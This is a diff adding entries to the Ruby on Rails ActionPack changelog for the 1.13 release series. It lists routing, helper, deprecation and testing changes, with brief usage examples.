+* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
+
+* Ensure render_to_string cleans up after itself when an exception is raised.  #6658 [Rob Sanheim]
+
+* Extract template_changed_since? from compile_template? so plugins may override its behavior for non-file-based templates.  #6651 [Jeff Barczewski]
+
+* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
+
+* simple_format helper doesn't choke on nil.  #6644 [jerry426]
+
+* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
+
+* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
+
+* ActionView::Base.erb_variable accessor names the buffer variable used to render templates. Defaults to _erbout; use _buf for erubis.  [Rick Olson]
+
+* assert_select_rjs :remove.  [Dylan Egan]
+
+* Always clear model associations from session.  #4795 [sd at notso.net, andylien at gmail.com]
+
+* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
+
+* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
+
+* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes.  #6586 [dkubb]
+
+* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename.  #6401 [Andreas Schwarz, Jeremy Kemper]
+
+* assert_response supports symbolic status codes.  #6569 [Kevin Clark]
+    assert_response :ok
+    assert_response :not_found
+    assert_response :forbidden
+
+* Cache parsed query parameters.  #6559 [Stefan Kaes]
+
+* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
+
+* pluralize helper interprets nil as zero.  #6474 [Tim Pope]
+
+* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing.  #6524 [Bob Silva]
+
+* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods.  [Jeremy Kemper]
+
+* Deprecate expire_matched_fragments. Use expire_fragment instead.  #6535 [Bob Silva]
+
+* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
+
+* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick]
+
+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick]
+
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick]
+
+* Added block-usage to TagHelper#content_tag [DHH]. Example:
+
+   <% content_tag :div, :class => "strong" %>
+     Hello world!
+   <% end %>
+  
+  Will output:
+    <div class="strong">Hello world!</div>
+
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [BobSilva]
+
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [BobSilva]
+
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [BobSilva/chrismear]
+
+* Force *_url named routes to show the host in ActionView [Rick]
+
+  <%= url_for ... %> # no host
+  <%= foo_path %>    # no host
+  <%= foo_url %>     # host!
+
+* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
+
+* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
+
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick]
+
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick]
+
+* Fix deprecation warnings when rendering the template error template. [Nicholas Seckar]
+
+* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+
+* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
+
+* Replace KCODE checks with String#chars for truncate.  Closes #6385 [Manfred Stienstra]
+
+* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'.  [Marcel Molina Jr.]
+
+* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
+
+* Install named routes into ActionView::Base instead of proxying them to the view via helper_method. Closes #5932. [Nicholas Seckar]
+
+* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
+
+* Fix relative URL root matching problems. [Mark Imbriaco]
+
+* Fix filter skipping in controller subclasses.  #5949, #6297, #6299 [Martin Emde]
+
+* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API).  [Jeremy Kemper]
+
+* Rename test assertion to prevent shadowing. Closes #6306. [psross]
+
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [phallstrom]
+
+* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
+
+* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+
+    update_page_tag :defer => 'true' { |page| ... }
+
+  Gives:
+
+    <script defer="true" type="text/javascript">...</script>
+    
+  Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
+
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [mnaberez]
+
+* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven at c3d2.de]
+
+* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
+
+* respond_to :html doesn't assume .rhtml.  #6281 [Hampton Catlin]
+
+* Fixed some deprecation warnings in ActionPack [Rick Olson]
+
+* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them.  #6240 [japgolly]
+
+* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  [Jeremy Kemper]
+
+* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+
+    head :status => 404        # expands to "404 Not Found"
+    head :status => :not_found # expands to "404 Not Found"
+    head :status => :created   # expands to "201 Created"
+
+* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+
+    head :status => 404 # return an empty response with a 404 status
+    head :location => person_path(@person), :status => 201
+
+* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain.  [Rick Olson]
+
+* strip_links is case-insensitive.  #6285 [tagoh, Bob Silva]
+
+* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
+
+* Filters overhaul including meantime filter support using around filters + blocks.  #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
+
+* Update RJS render tests. [sam]
+
+* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead at site5.com]
+
+* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
+
+* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw at vesaria.com]
+
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [DHH]. Examples:
+
+    respond_to do |format|
+      format.html { render :text => "I'm being sent as text/html" }
+      format.rss  { render :text => "I'm being sent as application/rss+xml" }
+      format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
+    end
+
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [DHH]
+
+* Added proper getters and setters for content type and charset [DHH]. Example of what we used to do:
+
+    response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
+  
+  ...now:
+  
+    response.content_type = Mime::ATOM
+    response.charset      = "utf-8"
+
+* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
+
+  - XPATH support
+  - Make Form.getElements() return elements in the correct order
+  - fix broken Form.serialize return
+
+* Declare file extensions exempt from layouts.  #6219 [brandon]
+    Example: ActionController::Base.exempt_from_layout 'rpdf'
+
+* Add chained replace/update support for assert_select_rjs [Rick Olson]
+
+    Given RJS like...
+
+      page['test1'].replace "<div id=\"1\">foo</div>"
+      page['test2'].replace_html "<div id=\"2\">foo</div>"
+
+    Test it with...
+
+      assert_select_rjs :chained_replace
+      assert_select_rjs :chained_replace, "test1"
+
+      assert_select_rjs :chained_replace_html
+      assert_select_rjs :chained_replace_html, "test2"
+
+* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat at gmail.com]
+
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [manfred, raphinou at yahoo.com]
+
+* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
+
+* Add descriptive messages to the exceptions thrown by cgi_methods. #6091, #6103 [Nicholas Seckar, Bob Silva]
+
+* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids,  #6068 [petermichaux at gmail.com]
+
+* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
+
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [DHH]. So what used to require a nil, like this:
+
+    link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
+  
+  ...can be written like this:
+
+    link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
+
+* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
+
+* Update to Prototype 1.5.0_rc1 [sam]
+
+* Added access to nested attributes in RJS #4548 [richcollins at gmail.com]. Examples:
+
+    page['foo']['style']                  # => $('foo').style;
+    page['foo']['style']['color']         # => $('blank_slate').style.color;
+    page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
+    page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
+
+* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule at space.ch]
+
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [DHH] 
+
+* Fixed FormOptionsHelper#select to respect :selected value #5813
+
+* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq at moriq.com]
+
+* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails at bencurtis.com]
+
+* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
+
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [DHH]
+
+* Integration tests: thoroughly test ActionController::Integration::Session.  #6022 [Kevin Clark]
+    (tests skipped unless you `gem install mocha`)
+
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 [DHH]
+
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [DHH]
+
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [DHH]
+
+* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin at gmail.com]
+
+* radio_button_tag generates unique id attributes.  #3353 [Bob Silva, somekool at gmail.com]
+
+* strip_tags passes through blank args such as nil or "".  #2229, #6702 [duncan at whomwah.com, dharana]
+
+* Cleanup assert_tag :children counting.  #2181 [jamie at bravenet.com]
+
+* button_to accepts :method so you can PUT and DELETE with it.  #6005 [Dan Webb]
+
+* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">.  [Rick Olson]
+
+* Update routing documentation.  Closes #6017 [Nathan Witmer]
+
+* Add routing tests to assert that RoutingError is raised when conditions aren't met.  Closes #6016 [Nathan Witmer]
+
+* Deprecation: update docs. #5998 [jakob at mentalized.net, Kevin Clark]
+
+* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
+
+* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Fix send_data documentation typo.  #5982 [brad at madriska.com]
+
+* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, DHH]
+
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Luetke]
+
+* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
+
+* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
+
+* Clean up and run the Active Record integration tests by default.  #5854 [kevin.clark at gmail.com, Jeremy Kemper]
+
+* Correct example in cookies docs.  #5832 [jessemerriman at warpmail.net]
+
+* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
+
+* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
+
+* Add controller_paths variable to Routing. [Nicholas Seckar]
+
+* Fix assert_redirected_to issue with named routes for module controllers.  [Rick Olson]
+
+* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
+
+* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
+
+* Require Tempfile explicitly for TestUploadedFile due to changes in class auto loading.  [Rick Olson]
+
+* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
+
+* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
+
+* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
+
+* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams at gmail.com]
+
+* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
+
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [francois.beausoleil at gmail.com]
+
+* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett at gmail.com]
+
+* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat at gmail.com]
+
+* Make controller_path available as an instance method.  #5724 [jmckible at gmail.com]
+
+* Update query parser to support adjacent hashes. [Nicholas Seckar]
+
+* Make action caching aware of different formats for the same action so that, e.g.  foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
+
+* Restrict Request Method hacking with ?_method to POST requests.  [Rick Olson]
+
+* Fix bug when passing multiple options to SimplyRestful, like :new => { :preview => :get, :draft => :get }.  [Rick Olson, Josh Susser, Lars Pind]
+
+* Dup the options passed to map.resources so that multiple resources get the same options.  [Rick Olson]
+
+* Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
+
+* Added map.resources from the Simply Restful plugin [DHH]. Examples (the API has changed to use plurals!):
+
+    map.resources :messages
+    map.resources :messages, :comments
+    map.resources :messages, :new => { :preview => :post }
+
+* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
+
+* TestRequest#reset_session should restore a TestSession, not a hash [Koz]
+
+* Don't search a load-path of '.' for controller files [Jamis Buck]
+
+* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
+
+* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow at yahoo.com]
+
+* Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
+
+  <% form_for 'post[]', @post do |f| -%>
+  <% end -%>
+
+* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
+
+* Provide support for decimal columns to form helpers. Closes #5672. [dave at pragprog.com]
+
+* Update documentation for erb trim syntax. #5651 [matt at mattmargolis.net]
+
+* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi at yahoo.com, sebastien at goetzilla.info]
+
+* Reset @html_document between requests so assert_tag works. #4810 [jarkko at jlaine.net, easleydp at gmail.com]
+
+* Update render :partial documentation. #5646 [matt at mattmargolis.net]
+
+* Integration tests behave well with render_component. #4632 [edward.frederick at revolution.com, dev.rubyonrails at maxdunn.com]
+
+* Added exception handling of missing layouts #5373 [chris at ozmm.org]
+
+* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary at panandscan.com]
+
+* Fixed that the flash should be reset when reset_session is called #5584 [shugo at ruby-lang.org]
+
+* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh at rubychan.de]
+
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [DHH]
+
+* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
+
+* Avoid naming collision among compiled view methods. [Jeremy Kemper]
+
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [mislav at nippur.irb.hr]
+
+* Determine the correct template_root for deeply nested components.  #2841 [s.brink at web.de]
+
+* Fix that routes with *path segments in the recall can generate URLs. [Rick]
+
+* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
+
+* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
+
+* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
+
+* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
+
+* Escape the path before routing recognition. #3671
+
+* Make sure :id and friends are unescaped properly. #5275 [me at julik.nl]
+
+* Fix documentation for with_routing to reflect new reality. #5281 [rramdas at gmail.com]
+
+* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame at atxeu.com, matthew at walker.wattle.id.au]
+
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [DHH]
+
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [DHH]. Example: Mime::Type.register("image/gif", :gif)
+
+* Added support for Mime objects in render :content_type option [DHH]. Example: render :text => some_atom, :content_type => Mime::ATOM
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra at fngtps.com>]
+
+* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
+
+  map.connect '/foo/:id', :controller => '...', :action => '...'
+  map.connect '/foo/:id.:format', :controller => '...', :action => '...'
+  map.connect '/foo/:id', ..., :conditions => { :method => :get }
+
+* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
+
+* Accept multipart PUT parameters. #5235 [guy.naor at famundo.com]
+
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [DHH]. Example:
+
+  class WeblogController < ActionController::Base
+    def index
+      @posts = Post.find :all
+      
+      respond_to do |format|
+        format.html
+        format.xml { render :xml => @posts.to_xml }
+        format.rss { render :action => "feed.rxml" }
+      end
+    end
+  end
+  
+  # returns HTML when requested by a browser, since the browser
+  # has the HTML mimetype at the top of its priority list
+  Accept: text/html
+  GET /weblog 
+  
+  # returns the XML 
+  Accept: application/xml
+  GET /weblog 
+
+  # returns the HTML 
+  Accept: application/xml
+  GET /weblog.html
+
+  # returns the XML
+  Accept: text/html
+  GET /weblog.xml
+  
+  All this relies on the fact that you have a route that includes .:format.
+  
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [DHH]
+
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [DHH]
+
+* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo at mk.ukrtelecom.ua]
+
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark kevin.clark at gmail.com]
+
+* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
+
+* Fix flip flopped logic in docs for url_for's :only_path option. Closes #4998. [esad at esse.at]
+
+* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10").  [Jeremy Kemper]
+
+* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
+
+* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick]
+
+    map.connect '*path', :controller => 'files', :action => 'show'
+
+* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair at orcaware.com>]
+
+* Documentation fix: integration test scripts don't require integration_test. Closes #4914. [Frederick Ros <sl33p3r at free.fr>]
+
+* ActionController::Base Summary documentation rewrite. Closes #4900. [kevin.clark at gmail.com]
+
+* Fix text_helper.rb documentation rendering. Closes #4725. [Frederick Ros]
+
+* Fixes bad rendering of JavaScriptMacrosHelper rdoc (closes #4910) [Frederick Ros]
+
+* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew at redlinesoftware.com, Marcel Molina Jr.]
+  
+  error_messages_for :account, :user, :subscription, :object_name => :account
+
+* Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. [Rick Olson]
+
+* Documentation for AbstractRequest. Closes #4895. [kevin.clark at gmail.com] 
+
+* Refactor various InstanceTag instance method to class methods. Closes #4800. [skaes at web.de]
+
+* Remove all remaining references to @params in the documentation. [Marcel Molina Jr.]
+
+* Add documentation for redirect_to :back's RedirectBackError exception.  [Marcel Molina Jr.]
+
+* Update layout and content_for documentation to use yield rather than magic @content_for instance variables. [Marcel Molina Jr.]
+
+* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick]
+
+    redirect_to :action => 'new'
+    assert_redirected_to :controller => 'monkeys', :action => 'new'
+
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick]
+
+* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick]
+
+    assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
+    assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
+
+* Diff compared options with #assert_redirected_to [Rick]
+
+* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
+
+* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii at comcast.net, Sam Stephenson]
+
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [DHH]
+
+* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
+
+* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
+  ex. verify :only => :speak, :method => :post, 
+             :render => { :status => 405, :text => "Must be post" }, 
+             :add_headers => { "Allow" => "POST" }
+
+* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled #1897 [jeremye at bsa.ca.gov]
+
+
+*1.13.3* (March 12th, 2007)
+
+* Apply [5709] to stable.
+
+* session_enabled? works with session :off.  #6680 [Catfish]
+
+* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id.  [Stefan Kaes]
+
+
+*1.13.2* (February 5th, 2007)
+
+* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick]
+
+* improve error message for Routing for named routes. [Rob Sanheim]
+
+* Added enhanced docs to routing assertions. [Rob Sanheim]
+
+* fix form_for example in ActionController::Resources documentation. [gnarg]
+
+* Add singleton resources from trunk [Rick Olson]
+
+* select :multiple => true suffixes the attribute name with [] unless already suffixed.  #6977 [nik.kakelin, ben, julik]
+
+* Improve routes documentation.  #7095 [zackchandler]
+
+* Resource member routes require :id, eliminating the ambiguous overlap with collection routes.  #7229 [dkubb]
+
+* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
+
+* Autolinking recognizes trailing and embedded . , : ;  #7354 [Jarkko Laine]
+
+* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268.  [imajes]
+
+* Improved auto_link to match more valid urls correctly [Tobias Luetke]
+
+
+*1.13.1* (January 18th, 2007)
+
+* Fixed content-type bug in Prototype [sam]
+
+
+*1.13.0* (January 16th, 2007)
+
+* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
+
+* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
+
+* Update to Prototype 1.5.0. [Sam Stephenson]
+
+* Allow exempt_from_layout :rhtml.  #6742, #7026 [dcmanges, Squeegy]
+
+* Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
+
+* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, manfred, idrifter]
+
+* Fix HTML::Node to output double quotes instead of single quotes.  Closes #6845 [mitreandy]
+
+* Fix no method error with error_messages_on.  Closes #6935 [nik.wakelin Koz]
+
+* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs.  Closes #6922 [Steven Bristol]
+
+* Slight doc tweak to #prepend_filter.  Closes #6493 [Jeremy Voorhis]
+
+* Add more extensive documentation to the AssetTagHelper.  Closes #6452 [Bob Silva]
+
+* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper.  Closes #6394 [Bob Silva]
+
+* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
+
+* Make sure html_document is reset between integration test requests. [ctm]
+
+* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError.  [Josh Susser]
+
+* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting.  Closes #6128.  [Rick Olson]
+
+* Ensure render :json => ... skips the layout.  #6808 [Josh Peek]
+
+* Silence log_error deprecation warnings from inspecting deprecated instance variables.  [Nate Wiger]
+
+* Only cache GET requests with a 200 OK response.  #6514, #6743 [RSL, anamba]
+
+* Correctly report which filter halted the chain.  #6699 [Martin Emde]
+
+* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument.  #4185 [Scott Raymond, eventualbuddha]
+    # application/json response with body 'Element.show({:name: "David"})'
+    respond_to do |format|
+      format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
+    end
+
+* Makes :discard_year work without breaking multi-attribute parsing in AR.  #1260, #3800 [sean at ardismg.com, jmartin at desertflood.com, stephen at touset.org, Bob Silva]
+
+* Adds html id attribute to date helper elements.  #1050, #1382 [mortonda at dgrmm.net, David North, Bob Silva]
+
+* Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
+
+* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, patrick at lenz.sh, Bob Silva]
+
+* Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
+
+* Added :include_seconds to select_datetime, datetime_select and time_select.  #2998 [csn, Bob Silva]
+
+* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization.  #363 [tomasj, Bob Silva]
+
+* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC.  #3811 [Bob Silva]
+
+* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status.  [Jeremy Kemper]
+
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [DHH]
+
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [DHH]
+
+
+*1.13.0 RC1* (r5619, November 22nd, 2006)
+
+* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
+
+* Ensure render_to_string cleans up after itself when an exception is raised.  #6658 [rsanheim]
+
+* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
+
+* simple_format helper doesn't choke on nil.  #6644 [jerry426]
+
+* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
+
+* Deprecate standalone components.  [Jeremy Kemper]
+
+* Always clear model associations from session.  #4795 [sd at notso.net, andylien at gmail.com]
+
+* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
+
+* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes.  #6586 [dkubb]
+
+* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename.  #6401 [Andreas Schwarz, Jeremy Kemper]
+
+* assert_response supports symbolic status codes.  #6569 [Kevin Clark]
+    assert_response :ok
+    assert_response :not_found
+    assert_response :forbidden
+
+* Cache parsed query parameters.  #6559 [Stefan Kaes]
+
+* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
+
+* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing.  #6524 [Bob Silva]
+
+* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods.  [Jeremy Kemper]
+
+* Deprecate expire_matched_fragments. Use expire_fragment instead.  #6535 [Bob Silva]
+
+* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick]
+
